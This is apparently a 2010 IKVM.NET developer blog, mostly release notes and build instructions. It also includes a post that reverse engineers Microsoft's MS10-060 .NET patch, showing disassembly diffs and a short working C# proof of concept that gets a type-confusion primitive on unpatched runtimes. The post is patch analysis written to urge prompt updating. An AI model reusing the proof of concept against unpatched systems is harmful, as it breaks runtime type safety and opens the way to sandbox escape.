Wednesday, August 25, 2010

Running RSSOwl on IKVM.NET

I recently upgraded my RSS reader from the older version I was still using to the current version. That turned out to be a mistake. The new version was even more broken than the old version, so I decided it was time to switch. I remembered RSSOwl from several years ago when I tested it on IKVM (it uses the Eclipse Standard Widget Toolkit, so like Eclipse it was a good test app back when AWT support was completely useless).

I downloaded the most recent version and played with it and it appeared to suit my needs. Of course, after I decided that I was going to start using it, I wanted to run it on IKVM and not in dynamic mode, but compiled with ikvmc. Fortunately, RSSOwl uses OSGi in much the same way as Eclipse, so I was able to reuse the work I did to get Eclipse to compile with ikvmc.

To play along at home, follow these instructions (on Windows):

  • Download rssowl-2.0.5.win32.zip, ikvmbin-0.44.0.5.zip and rssowl-clr.zip and put them all in the same directory.
  • Open a Command Prompt and go to the directory where you downloaded the zip files.
  • Run these commands:
    unzip rssowl-2.0.5.win32.zip
    cd rssowl
    unzip ..\ikvmbin-0.44.0.5.zip
    unzip ..\rssowl-clr.zip
    mk
  • Start RSSOwl by running rssowl-clr.exe
8/25/2010 12:27:23 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]

Tuesday, August 24, 2010

New Development Snapshot

While the 0.44 release candidates have been baking, I've been working on 0.45. There are some interesting changes related to resource handling and stub classes.

Resources

 Previously, if you looked at the URL returned by ClassLoader.getResource() for an ikvmc compiled assembly you see something ugly like this:

 ikvmres://IKVM.OpenJDK.Jdbc,%20Version=0.44.0.5,%20Culture=neutral,%20PublicKeyToken=13235d27fcbfff58/META-INF/services/java.sql.Driver

Now with 0.45, you see:

jar:file:/C:/.virtual-ikvm-home/assembly/IKVM.OpenJDK.Jdbc__0.45.3887.0__13235d27fcbfff58/resources/resources.jar!/META-INF/services/java.sql.Driver

This is also a bit strange, because C:\.virtual-ikvm-home doesn't actually exist, but it is the IKVM Virtual File System directory that was introduced with the switch to OpenJDK, to facilitate the fact that OpenJDK likes to load lots of files from the installation directory.

Starting with 0.45, the virtual file system is also used to load resources and stub classes. When you compile your jar with ikvmc, the resources in the jar will be copied into a new jar (usually with the same name) and that jar will be attached as a managed resource to the target assembly. This resource is projected into VFS and the normal Java resource loading mechanism is (more or less) used to load resources from the jar.

This has two main advantages. The first is that this makes it more likely that Java code that makes various assumptions about being being able to explicitly open a resource jar, will work. The second is that this method of storing resources, usually results in smaller assemblies.

Another benefit of this change is that I finally fixed the issue with ikvmc skipping resources due to name clashes. Previously there was only a single resource namespace per assembly, but now an assembly can contain multiple resource jars.

Stub Classes

Some Java code requires .class files for system classes. This is usually because they want to do dynamic code generation and Java's reflection isn't really good enough for that. For a long time IKVM has supported this by dynamically creating the .class files (in a runtime equivalent of ikvmstub) whenever code tried to load a resource that ended with .class and a corresponding type was found. This used the same ikvmres protocol mechanism as normal resources. With this snapshot, the stub classes have also moved to VFS. They are still generated on demand, but they are now accessible via the Java file IO APIs. This means that the sun.boot.class.path property can now point to VFS and that Java code, like javac, that depends on sun.boot.class.path will now work.

You can now build a working javac.exe like this:

ikvmc -main:com.sun.tools.javac.Main -out:javac.exe -r:IKVM.OpenJDK.Tools.dll

The resulting javac.exe will be very small (4KB), because all the code is in IKVM.OpenJDK.Tools.dll (the equivalent of tools.jar).

Changes:

  • Fixed java.util.zip.Inflater to throw exception for corrupt zip files (http://gcc.gnu.org/bugzilla/show_bug.cgi?id=36560).
  • Added the ability to nest ikvmc response files and added error handling to response file reading.
  • Made most ikvmc warnings local to the target that is being compiled (in multi target mode), to allow warnings to be suppressed (or turned into an error) for a specific target.
  • Added -writeSuppressWarningsFile: ikvmc option.
  • Added support for comment lines in ikvmc response files.
  • Volker implemented Window.setMinimumSize().
  • Massive change to change resource handling. Java resources are now stored in jars that are stored as managed .NET resources. The jars are projected into VFS and the assembly class loaders know how to load resources from these jars.
  • Volker added support for "My Computer" folder.
  • Volker fixed a regression in Toolkit.createImage(ImageProducer).
  • Fixed build to work when Mono isn't installed.
  • Stub classes are now projected into VFS.
  • Stub classes (as resources) are no longer generated if a resource with that name already exists in the assembly.
  • System property "sun.boot.class.path" now points to stub classes in VFS.
  • Removed the requirement to have peverify and ilasm in the PATH. They are now located automatically and if they are not found, the corresponding build steps are skipped.
  • Separated managed and native build steps and made managed the default target. This allows doing a build with "nant" with just nant and JDK 1.6 in the PATH.
  • Changed default build target to automatically generate a CommonAssemblyInfo.cs with todays build number.
  • Fixed java.lang.ref.Reference to not store a strong reference to java.lang.Class objects, if class GC is enabled. Note that class GC is only available on .NET 4.0 and when IKVM is specifically built for .NET 4.0.

Binaries available here: ikvmbin-0.45.3887.zip

8/24/2010 8:32:03 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]

Monday, August 23, 2010

IKVM.NET 0.44 Release Candidate 5

Two more bug fixes and this will hopefully be the final release candidate.

Changes:

  • Changed version to 0.44.0.5
  • Don't seal @Internal classes.
  • Fixed bug #3046925.

Binary available here: ikvmbin-0.44.0.5.zip

Sources: ikvmsrc-0.44.0.5.zip, openjdk6-b18-stripped.zip

The sources zip no longer contains any binaries.

8/23/2010 6:35:29 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Wednesday, August 18, 2010

@ikvm.lang.Internal Revisited

A couple of days ago, Dawid Weiss filed a bug related to @ikvm.lang.Internal and while fixing the bug I realized that the feature has significantly evolved since its introduction, but that was never documented.

I originally introduced @ikvm.lang.Internal as a relatively simple workaround for an annoying short coming of Java and mainly for my own convenience in writing the core class libraries, but when I added support InternalsVisibleAttribute things became more complex.

The support for InternalsVisibleToAttribute in itself is something that evolved from relatively weak to the current state of mostly working (there is still one known issue, where InternalsVisibleToAttribute annotations won't be recognized during a multi target build, but this isn't very high priority, because in the common cases ikvmc will automatically add (and recognize) the InternalVisibleToAttribute when needed during multi target compilation.)

So what does @ikvm.lang.Internal do?

It's actually still relatively simple: It marks a type or member as "internal". This means that its Java access modifiers will be ignored (even private members can be marked as internal) and that any other assembly that has access to the assembly's internals will be able to access it (in the case of members, you also need to be able to access to containing type, of course.)

For members this looks a lot like the C# internal access modifier, but for types there is a significant difference to be aware of. From Java code in another assembly (that is designated by InternalsVisibleTo) you can only access types that are explicitly marked with @ikvm.lang.Internal, note that this is unlike C# where any non-nested type can be accessed.

At runtime, when you use reflection to inspect a type or member marked with @ikvm.lang.Internal, it will appear as package accessible. When you use reflection to invoke, set or get a member, it will be treated as internal.

I fixed the bug Dawid reported and also fixed the "effectively final" optimization to not mark classes with @ikvm.lang.Internal as final. The fixes will be in the next 0.44 release candidate.

8/18/2010 9:19:52 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Saturday, August 14, 2010

Reverse Engineering the MS10-060 .NET Security Patch

On Patch Tuesday, one of the patches Microsoft released was MS10-060. It addresses a Silverlight memory corruption and a CLR delegate issue. I was curious about the CLR delegate issue and decided to see if I could reverse engineer the patch to find the issue. Now, I'm not a professional security researcher or malware developer, so I don't have any good tools to do this. They have binary diffing tools that make it very easy to find the differences between the original file and the patched file. I was stuck with dumpbin /disasm to get the disassembled code for the two versions of the file, but I'm getting ahead of myself.

Patch Contents

In the KB983590 article Microsoft helpfully describes all the files that are changed by the update. Looking through the list it is obvious that there are only two interesting files: mscorwks.dll and mscorlib. After running both the patched and unpatched versions of mscorlib.dll through ildasm it was obvious that there weren't any changes to mscorlib (other than the version number). So I had to focus on the unmanaged code side. I ran the patched and unpatched versions of mscorwks.dll through dumpbin /disasm and looked at the resulting files:

C:\j\ms10-060>dir
Volume in drive C is 320GB_7200 Volume Serial Number is 0404-135D
Directory of C:\j\ms10-060
08/12/2010 08:36 <DIR> . 08/12/2010 08:36 <DIR> .. 05/21/2010 00:49 5,816,656 mscorwks-ms10-060.dll 08/12/2010 08:28 5,157 mscorwks-ms10-060.headers 08/12/2010 08:38 118,871,231 mscorwks-ms10-060.lst 06/10/2009 23:23 5,816,640 mscorwks-vuln.dll 08/12/2010 08:27 5,153 mscorwks-vuln.headers 08/12/2010 08:35 118,827,088 mscorwks-vuln.lst 6 File(s) 249,341,925 bytes 2 Dir(s) 105,945,309,184 bytes free

OK. So the file sizes are somewhat intimidating. I have the Microsoft symbol server configured, so dumpbin helpfully provided the symbol names, so that makes navigating the files a lot easier. Given the description of the vulnerability, I first looked at how the JIT compiles the construction of a delegate and noticed that it calls the JIT_VirtualFunctionPointer method in mscorwks. I looked at that, but it was unmodified by the patch. I did a little more random browsing through the file but wasn't getting anywhere.

The  Security Researcher

On Wednesday I had gotten an e-mail from a security researcher that wanted to know if I had any details on the vulnerability. I told him I hadn't yet, but was very curious and wanted to look into it. We mailed a couple of times more during the week and on Friday he mailed me a list of addresses of functions that had been changed by the patch. Unfortunately, he was probably looking a different version of the patch (for a different platform), because the addresses didn't make any sense to me.

More Searching

However, his e-mail did inspire me to take another look and this time I thought, why not start by examining all the functions in mscorwks from the COMDelegate class. From the Shared Source CLI code I knew that was the native class that contained the native code for System.Delegate. After about an hour of comparing methods I finally found a difference:

Unpatched mscorwks.dll (2.0.50727.4927 Windows 7 x86):

  7A04799D: 8B CB              mov         ecx,ebx
  7A04799F: E8 36 B9 E2 FF     call        ?IsValueType@MethodTable@@QAEHXZ
  7A0479A4: 85 C0              test        eax,eax
  7A0479A6: 74 09              je          7A0479B1
  7A0479A8: F6 46 03 04        test        byte ptr [esi+3],4
  7A0479AC: 75 03              jne         7A0479B1
  7A0479AE: 33 FF              xor         edi,edi
  7A0479B0: 47                 inc         edi
  7A0479B1: 6A 06              push        6
  7A0479B3: 6A 01              push        1
  7A0479B5: 6A 00              push        0
  7A0479B7: 6A 00              push        0
  7A0479B9: 51                 push        ecx
  7A0479BA: 51                 push        ecx
  7A0479BB: 8B C4              mov         eax,esp
  7A0479BD: 89 65 C0           mov         dword ptr [ebp-40h],esp
  7A0479C0: 50                 push        eax
  7A0479C1: 8B CE              mov         ecx,esi
  7A0479C3: E8 C7 6D E3 FF     call        ?GetMethodInstantiation@MethodDesc@@»

Patched mscorwks.dll (2.0.50727.4952 Windows 7 x86):

  7A0479A3: 8B CF              mov         ecx,edi
  7A0479A5: E8 40 B9 E2 FF     call        ?IsValueType@MethodTable@@QAEHXZ
  7A0479AA: 85 C0              test        eax,eax
  7A0479AC: 74 03              je          7A0479B1
  7A0479AE: 33 DB              xor         ebx,ebx
  7A0479B0: 43                 inc         ebx
  7A0479B1: 6A 06              push        6
  7A0479B3: 6A 01              push        1
  7A0479B5: 6A 00              push        0
  7A0479B7: 6A 00              push        0
  7A0479B9: 51                 push        ecx
  7A0479BA: 51                 push        ecx
  7A0479BB: 8B C4              mov         eax,esp
  7A0479BD: 89 65 C0           mov         dword ptr [ebp-40h],esp
  7A0479C0: 50                 push        eax
  7A0479C1: 8B CE              mov         ecx,esi
  7A0479C3: E8 C7 6D E3 FF     call        ?GetMethodInstantiation@MethodDesc@@»

The highlighted code has been removed. This is in the COMDelegate::BindToMethodInfo method. Looking at the Shared Source CLI code it was easy to locate the corresponding code and I noticed that the removed code was probably an inlined call to method->IsUnboxingStub(). A quick search for IsUnboxingStub in the header files confirmed this.

How to Exploit

After a minute of reflection, I guessed that the bug was probably related to how value type methods have a different concept of "this" than normal methods (because a non-boxed value doesn't have an object header, which is normally where the this pointer points). To solve this, the runtime generates UnboxingStubs for virtual methods (inherited from System.Object) that are overridden by a value type.

I hit the jackpot with my first attempt. Here is a slightly modified version of what I tried:

using System;
using System.Reflection;
class Union1 { internal volatile int i; internal volatile int j; }
class Union2 { internal volatile object o; internal volatile int[] arr; }
public struct Foo { object obj; Union2 u2;
public Foo(object obj) { this.obj = obj; this.u2 = null; }
public override string ToString() { Program.u2 = u2; return null; } }
delegate string MyDelegate();
class Program { internal static Union2 u2;
static void Main(string[] args) { Union1 u1 = new Union1();
MethodInfo method = typeof(Foo).GetMethod("ToString"); MyDelegate d = (MyDelegate)Delegate.CreateDelegate(typeof(MyDelegate), new Foo(u1), method); d();
Console.WriteLine(u1); Console.WriteLine(u2); } }

When you run this code on an unpatched system, you'll see that both WriteLine calls output Union1, in other words, we now have a reference typed as Union2 pointing the a Union1 instance. This is exactly the requirement I described in Writing a .NET Security Exploit PoC.

Conclusion

A had read before that malware authors can often update their malware within an hour after a patch is released to take advantage of the vulnerabilities addressed by the patch, but actually doing the reverse engineering myself did really drive home the point. It took me a couple of days, had I had the proper tools and the motivation I could have easily done this within an hour or so of the patch release. Of course, I had some help from the Shared Source CLI and without the source it would have taken me a bit longer, but then again I'm not an experienced malware author.

So installing the security updates in a timely fashion is really important.

8/14/2010 11:01:33 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]

Tuesday, August 10, 2010

IKVM.NET 0.44 Release Candidate 4

More bug fixes and another release candidate.

Changes:

  • Changed version to 0.44.0.4
  • Fixed Object.wait() to not throw an exception when a timeout > Integer.MAX_VALUE is used. Thanks to Andy Malakov for reporting this.
  • IKVM.Reflection: Fixed IA64 and x64 import directory alignment.
  • IKVM.Reflection: Fixed bug #3040528. Thanks to Ignacio Hernandez-Ros.

Binary available here: ikvmbin-0.44.0.4.zip

Sources: ikvmsrc-0.44.0.4.zip, openjdk6-b18-stripped.zip

The sources zip no longer contains any binaries.

8/10/2010 8:40:31 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Wednesday, August 04, 2010

IKVM.NET 0.44 Release Candidate 3

A new release candidate with several bug fixes.

Changes:

  • Changed version to 0.44.0.3
  • Updated HOWTO. Thanks to Dawid Weiss.
  • Fixed Process.destroy() to swallow System.ComponentModel.Win32Exception.
  • Fixed Inflater.finished() to not throw NullPointerException if it is called after end() has been called.
  • Fix for bug #3035831. Thanks to Dawid Weiss.
  • Fixed issue with reflecting on inner classes of cli.System.Exception.
  • Fixed another verifier regression introduced with try/fault handler changes.
  • Fixed field reflection slow path to throw NullPointerException instead of IllegalArgumentException for instance fields if the instance object is null.
  • Fixed dynamic mode late bound (dynamic) instructions to throw NoClassDefFoundError before NullPointerException.
  • Fixed Inet4AddressImpl.getHostByAddr() to catch System.ArgumentException and throw java.net.UnknownHostException instead.
  • Fixed path canonicalization issue exposed by JRuby (which subclasses java.io.File to use a / file separator on Windows).

Binary available here: ikvmbin-0.44.0.3.zip

Sources: ikvmsrc-0.44.0.3.zip, openjdk6-b18-stripped.zip

The sources zip no longer contains any binaries.

8/4/2010 8:35:28 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Tuesday, July 27, 2010

IKVM.NET 0.44 Release Candidate 2

A new release candidate with two bug fixes.

Changes:

  • Changed version to 0.44.0.2
  • Fixed Field.set() bug #3033769.
  • When a protected or public member is accessed in a non-public base class in another assembly that is simultaneously compiled, we need to add an InternalsVisibleTo to the callee assembly for the caller assembly.

Binary available here: ikvmbin-0.44.0.2.zip

Sources: ikvmsrc-0.44.0.2.zip, openjdk6-b18-stripped.zip

The sources zip no longer contains any binaries.

7/27/2010 8:59:53 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

IKVM.NET Security Update

Potential Security Vulnerability

There is a bug IKVM's implementation of java.lang.reflect.Field.set(). The dynamic method that is generated doesn't properly cast the value to the type of the field. This is obviously a bug, but it could also lead to a type safety vulnerability. It is not directly exploitable, because the unverifiable dynamic method will do a full trust security demand and when there is partially trusted code on the stack, that will fail.

However, if you have any code that indirectly exposes Field.set() to untrusted code, it may be exploitable. In particular, the following scenarios warrant careful attention:

  • Having an assembly in the GAC that has the AllowPartiallyTrustedCallerAttribute and exposes Field.set() functionality to partially trusted callers and uses a security assert to stop the stack walk.
  • If you load partially trusted code in your application and your code uses Field.set() on values controlled by the partially trusted code, without any partially trusted code being directly on the stack.
  • If you process data or a (lightweight) scripting language that somehow exposes Field.set() functionality to untrusted data/code.

Affected Versions

IKVM.NET version 0.38, 0.40, 0.42 and 0.44 are affected. Version 0.36 and earlier are not affected.

Update

There is an update of IKVM.NET 0.42, earlier versions will not be updated and there will be a new 0.44 release candidate later today.

IKVM.NET 0.42 Update 2

Changes:

  • Updated version to 0.42.0.7.
  • Fixed Field.set() bug #3033769.

Binaries available here: ikvmbin-0.42.0.7.zip

Sources: ikvm-0.42.0.7.zip, openjdk6-b16-stripped.zip

Credits

Thanks to Dawid Weiss for reporting this issue.

7/27/2010 8:57:38 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Monday, July 12, 2010

IKVM.NET 0.44 Release Candidate 1

A new release candidate with two bug fixes.

Changes:

  • Changed version to 0.44.0.1
  • Fixed verifier regression introduced with try/fault handler changes. Thanks to Enrico Minack for reporting this.
  • When a protected field is accessed in a non-public base class in another assembly that is simultaneously compiled, we need to add an InternalsVisibleTo to the callee assembly for the caller assembly.

Binary available here: ikvmbin-0.44.0.1.zip

Sources: ikvmsrc-0.44.0.1.zip, openjdk6-b18-stripped.zip

The sources zip no longer contains any binaries.

7/12/2010 9:09:49 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Wednesday, July 07, 2010

IKVM.NET 0.44 Release Candidate 0

The first 0.44 release candidate is available.

What's New (relative to IKVM.NET 0.42):

  • Integrated OpenJDK 6 build 18
  • Bug fixes
  • Code cleanup
  • Many AWT improvements (by Nat and Volker)
  • IKVM.Reflection
  • Ability to build from source targetting .NET 4.0
  • Reflection optimizations
  • Codegen optimizations
  • JNI optimizations
  • Introduced IKVM.OpenJDK.Tools.dll
  • Improved build process (removed dependency on shipping stub jar binaries)
  • Improved ikvmc parameter validation and error handling
  • Annotated all security critical code with .NET 4.0 security model custom attributes
  • Added -nostdlib option to ikvmstub and ikvmc to allow them to work with .NET 4.0 assemblies (while running on .NET 2.0)
  • Implemented RuntimeMXBean and OperatingSystemMXBean
  • Experimental (when built from source, targetting .NET 4.0) support for class GC

Binary available here: ikvmbin-0.44.0.0.zip

Sources: ikvmsrc-0.44.0.0.zip, openjdk6-b18-stripped.zip

The sources zip no longer contains any binaries.

7/7/2010 3:54:40 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Bug Reports

I've disabled the ability for anonymous users to post bug reports (and feature requests). Two useless duplicate reports (3026137 and 3026140) pushed me over the edge.

Some bug reporting tips:

  • Include all the (possibly) relevant information (IKVM.NET, .NET / Mono and Operating System version numbers, CPU architecture, error messages, warning messages).
  • Try to create a small repro that demonstrates the problem. Make sure it compiles, don't just include a non-compiling code snippet.
  • Clearly separate fact from speculation.
  • Read this excellent essay on How to Report Bugs Effectively by Simon Tatham.

P.S.  In the case of the above bug report, the poster tried to look at the code for ServerSocket.accept() with Reflector and Reflector crashed. This is a Reflector bug, it simply doesn't understand the code constructs that ikvmc generates (even though they are perfectly valid).

7/7/2010 2:11:51 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]

Wednesday, June 30, 2010

IKVM.Reflection Testing

I decided to do some brute force testing of IKVM.Reflection. I ran my LinkerPrototype on almost all assemblies in the .NET and Mono GACs. This resulted in a number of fixes to the linker (but note that it's still just a toy) and a bunch of fixes to IKVM.Reflection. Most of these fixes aren't relevant for IKVM.NET, but I want IKVM.Reflection to be useful as a general System.Reflection replacement.

Fixes:

  • MethodInfo.DeclaringType should return null for global generic method instances.
  • Fixed support for TypeSpec in custom modifiers.
  • Fixed bug that caused duplicate MethodSpec rows to be emitted.
  • Fixed bug that caused duplicate MemberRef rows to be emitted.
  • Allow use of generic method definition in IL stream.
  • Made signature binding lazy for GenericMethodInstance.
  • Allow declarative security attributes to use non-public constructors.
  • Implemented ManifestResourceInfo.FileName property.
  • Implemented workaround for incorrect exception table length in methods generated by VB compiler.
  • Fixed exception filter block handling to support having both regular handlers and a filter for the same try block.
  • Fixed metadata header to account for the actual ImageRuntimeVersion string length, instead of assuming it to be "v2.0.50727".
  • Implemented __GetDeclaredMethods() for ArrayType and MultiArrayType.
  • Fixed two MarshalSpec blob parsing bugs.
  • Fixed several places where generic type definitions would be encoded as TypeDef token instead of TypeSpec.
  • Re-instroduced generic type instantation for "identity" instantations of TypeBuilder types.
  • Several fixes for C++/CLI that tends to stick custom modifiers everywhere. Also, support void& in local variable signature.
  • Support fields that have an RVA, but where it is set to zero (C++/CLI does this).
  • Added support for a TypeRef with a null ResolutionScope.

The source is available in cvs and the LinkerPrototype zip link above contains the most recent IKVM.Reflection.dll, but if you want just the IKVM.Reflection.dll binary, it is available here: ikvm-reflect-0.43.3833.zip

6/30/2010 10:47:31 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Apache PDFBox 1.2.0 Released

Yesterday the release of Apache PDFBox 1.2.0 was announced. Thanks to Daniel Wilson the included Ant build script to build the .NET version has been updated to work with IKVM.NET 0.42.

6/30/2010 8:50:07 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]

Monday, June 21, 2010

New Development Snapshot

One more development snapshot. A couple of minor tweaks.

Changes:

  • Updated copyright notices.
  • Removed Winforms thread workaround timer that was previously required to make the thread abortable.
  • IKVM.Reflection: Fixed a couple of bugs related to escaped type names not being unescaped.
  • IKVM.Reflection: Changed assembly reference caching to be more efficient and to handle the fact that assembly identities can change (if it is an AssemblyBuilder).
  • IKVM.Reflection: Changed assembly identity caching to only add identities to the cache when they are used to look up the assembly.

Binaries available here: ikvmbin-0.43.3824.zip

6/21/2010 10:36:02 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]

Monday, June 14, 2010

CLR JIT Bugs Found During IKVM.NET Development

"It is actually fairly common that people notice that things fail under retail but not debug and tend to blame code generation.
While a code generation bug is possible, as a matter of statistics, it is not likely."
-- Vance Morrison

Date CLR Arch Type Description
2010-06-12 v4 x64 Incorrect code Optimizer incorrectly propagates invariants.
2010-06-04 v2, v4 x86 Crash Access violation while compiling code.
2010-04-11 v4 x64 Vulnerability Not yet fixed, so no details.
2009-10-28 v4 beta 2 x64 Vulnerability Type safety vulnerability in exception handler code.
2007-07-02 v2 x64 Exception System.InvalidProgramException on verifiable IL.
2007-05-11 v2 x64 Incorrect code 0.0 and -0.0 are considered the same by the optimizer.
2006-12-06 v2 x86 Vulnerability Ability to access array outside of bounds.
6/14/2010 10:30:23 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]

New Development Snapshot

I finished all the .NET 4.0 security model changes. If you build from source, you can now (optionally) build on .NET 4.0 and get native .NET 4.0 assemblies that use the new .NET 4.0 security model (and also experimental class gc support). The .NET 2.0 binaries also work on .NET 4.0.

This is probably the final development snapshot before the first 0.44 release candidate and it has been tested more than a typical development snapshot. Please start testing it and, as always, feedback is appreciated.

Changes:

  • Final set of .NET 4.0 security model changes.
  • Added "first-pass" build of IKVM.AWT.WinForms.dll and moved "native" AWT code from IKVM.Runtime.dll to IKVM.AWT.WinForms.dll.
  • Fixed verifier bug that caused verification errors if "new" string was interned before verifying any code. Thanks to Andrey Malakov for tracking this down.
  • Include more parts of tools.jar in IKVM.OpenJDK.Tools.dll.
  • Add feature to expand environment variables in system properties specified with -D ikvmc option.
  • Added jdk-tools target to openjdk.build to build javac.exe, javah.exe and javap.exe (not included in the default build).
  • Added build script to build ikvmdoc.exe (not included in the default build).
  • Fixed JNIEnv.DescribeException() (NPE instead of printing the exception).
  • IKVM.Reflection: When the user string heap overflows, throw an exception instead of silently creating corrupt image.
  • IKVM.Reflection: Fixed .PDB emitter to work with .NET 4.0. Thanks to Jb Evain for the heads up on this.

Binaries available here: ikvmbin-0.43.3817.zip

6/14/2010 7:53:11 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Tuesday, June 08, 2010

New Development Snapshot

I finally did the work necessary to improve the codegen for finally handlers. More improvements are still possible, but at least most finally handlers will now execute without touching the exception object (and hence without having to do any mapping/stack trace collection work). It also means that assembly file sizes are a little bit smaller and that the debugging experience should be improved (less exception catching & rethrowing).

Changes:

  • Restructuring of verifier/analyzer code.
  • Fixed exception stack trace collection regression that caused frame part of the exception stack trace collection infrastructure to show up in some stack traces.
  • Make synthesized .class resources available via ClassLoader.getResources() (note the plural) as well.
  • Use a LinkedHashMap to preserve annotation order (but only in dynamic mode, because for compiled code we get the .NET attributes in unspecified order). By my reading of the API spec there is no guarantee about the ordering, but the Google Guice test suite depends on it.
  • TypeWrapper.AssertFinished() doesn't make sense for the static compiler anymore.
  • Moved mutable flags from Instruction array into separate array.
  • Made ExceptionTableEntry immutable.
  • Implemented codegen improvement to use CLR fault handlers for Java catch all handlers, whenever possible.
  • IKVM.Reflection: Order try blocks inside handlers before the entries for that handler. Workaround for CLR x86 JIT null pointer dereference bug.

Binaries available here: ikvmbin-0.43.3811.zip

6/8/2010 8:24:58 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Tuesday, June 01, 2010

New Development Snapshot

I got a little side tracked by the investigation of the Google Collections test suite performance issue, reported by Albert Strasheim in the comments to the previous snapshot.

This caused me to do some work on exception handling (unfortunately without any performance benefit to the Google Collections test suite) which, in turn, triggered something I've been wanting to do for while, namely to introduce a stub version of IKVM.OpenJDK.Core.dll which can be referenced by IKVM.Runtime.dll during FIRST_PASS compilation, to make it possible to have a cyclic dependency between IKVM.Runtime.dll and IKVM.OpenJDK.Core.dll for method signatures and not just the method bodies as was previously the case.

Changes:

  • Added (limited) support to ikvmc for cyclic dependency compilation. The build now takes advantage of this to make it possible to use strongly typed method signatures for "native" methods implemented in IKVM.Runtime.dll.
  • Changed reflection to convert any Method|FieldAccessExceptions to occur (in partial trust) into IllegalAccessException.
  • Fixed type conversion verification issues in reflection dynamic methods.
  • Moved exception handling code to IKVM.Runtime.dll (for IKVM.OpenJDK.Core.dll) and cleaned up several issues. Changed mapping API to be more efficient (in terms of bytecode size, and to allow stack trace collection to be bypassed for discarded remapped exceptions).
  • Added new public API to unmap exception (ikvm.runtime.Util.unmapException()).
  • Fixed loop counter integer overflow bug in tableswitch bytecode parsing. Bug #3009543.
  • IKVM.Reflection: Fixed bug in constructor importing that could cause Module.ResolveMethod() on ModuleBuilder to return the underlying MethodInfo instead of the ConstructorInfo wrapper.

Binaries available here: ikvmbin-0.43.3803.zip

6/1/2010 7:36:30 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Tuesday, May 25, 2010

New Development Snapshot

More bug fixing and rounding out IKVM.Reflection.

Changes:

  • Fixed resolution of generic type instance names with "fake" type as type argument.
  • Fixed bug in Finalize/finalize special casing for .NET types that caused exception when reflecting on them.
  • Fixed Finalize/finalize special casing for .NET types to also work for java.lang.Throwable derived types.
  • Removed fake core class library types from ikvmstub and added a -bootstrap option to run without dependency on runtime/core class library.
  • Fixed regression introduced when ikvm.runtime.Startup.setProperties() signature was changed. It should also be changed in the executable main stub.
  • Fixed ikvmc/ikvmstub regression introduced with the switch to IKVM.Reflection (not IKVM.Reflection.Emit) in volatile field handling acros assemblies.
  • Fixed several bugs exposed by Google Guice 2.0 test suite (bug #3004682).
  • Fixed AssemblyClassLoader so that it does not claim to be able to load .class resources for dynamically loaded classes.
  • When compiling with the -sharedclassloader option we can't do the "effectively final" optimization, because classes in another assembly can be part of the same package (and hence extend the packge private class).
  • Handle the case where the exception block ends at the end of the method.
  • IKVM.Reflection: Implemented Type.IsAssignableFrom() (minus co-/contravariance).
  • IKVM.Reflection: Implemented custom attribute filtering at the source. Added support for custom attribute sub typing.
  • IKVM.Reflection: Added __GetCustomAttributes() overloads for Assembly and Module for ease of use and consistency.
  • IKVM.Reflection: Added ICustomAttributeProvider interface.

Binaries available here: ikvmbin-0.43.3797.zip

5/25/2010 6:28:37 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]

Tuesday, May 18, 2010

New Development Snapshot

More IKVM.Reflection fixes and some improvements to ikvmc and ikvmstub.

Changes:

  • Allow ikvmstub to work with -nostdlib and an explicit path to mscorlib.
  • Fixed ikvmc/ikvmstub assembly resolver to recognize mscorlib by its name, not by having a System.Object type.
  • ikvmc/ikvmstub: Added strong named assembly version "policy" support. Reject lower versions, accept higher versions with optional warning and prefer exact matches.
  • ikvmc/ikvmstub: Added check to avoid loading assemblies that require a newer version of mscorlib than the one were using (to avoid weird exceptions and potential other problems).
  • ikvmc/ikvmstub: Base assembly ref/def matching on Universe.CompareAssemblyIdentity().
  • Changed StaticCompiler.GetType() to be multi-target aware. Instead of looking thru all assemblies currently loaded, only the relevant referenced assemblies are searched. Note that this is a (minor) breaking change. Types referenced in -remap:map.xml file are now only resolved against directly referenced assemblies.
  • Fixed ikvmc regression in custom assembly class loader module constructor support.
  • IKVM.Reflection: It turns out that mscorlib is special cased by the runtime. Any name with a simple name of "mscorlib" is considered mscorlib.
  • IKVM.Reflection: Made mscorlib handling more explicit (and simpler) and fixed Import() to not load assemblies directly, but go through the resolve event.
  • IKVM.Reflection: Added Assembly.CodeBase property and fixes Assembly.GetName() and AssemblyName.GetAssemblyName() to set the CodeBase of the AssemblyName.
  • IKVM.Reflection: Fixed GetReferencedAssemblies() to set AssemblyName.CultureInfo when it's the invariant culture and to set AssemblyName.Flags.
  • IKVM.Reflection: Added AssemblyName.ToString().
  • IKVM.Reflection: Set flags in AssemblyName returned by Assembly.GetName().
  • IKVM.Reflection: Support setting the Retargettable assembly name flag.
  • IKVM.Reflection: Added implementation of Fusion's CompareAssemblyIdentity API.
  • IKVM.Reflection: Added RawModule to allow user code to load and inspect a module without it becoming part of the universe and later import it efficiently into the universe.
  • IKVM.Reflection: Made Universe.HasMscorlib internal and removed the now obsolete Universe.LoadMscorlib().
  • IKVM.Reflection: Added protection against accidentally importing any IKVM.Reflection type, not just Type.

Binaries available here: ikvmbin-0.43.3790.zip

5/18/2010 4:58:24 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Monday, May 10, 2010

New Development Snapshot

More fixes. Thanks to Kornél Pál for his patches, bug reports and work on porting gmcs to IKVM.Reflection.

Changes:

  • Removed mcs specific flag that is no longer required.
  • Removed use of reflection for getting the slot of a java.lang.reflect.Field.
  • Implemented RuntimeMXBean. Feature request #2994310.
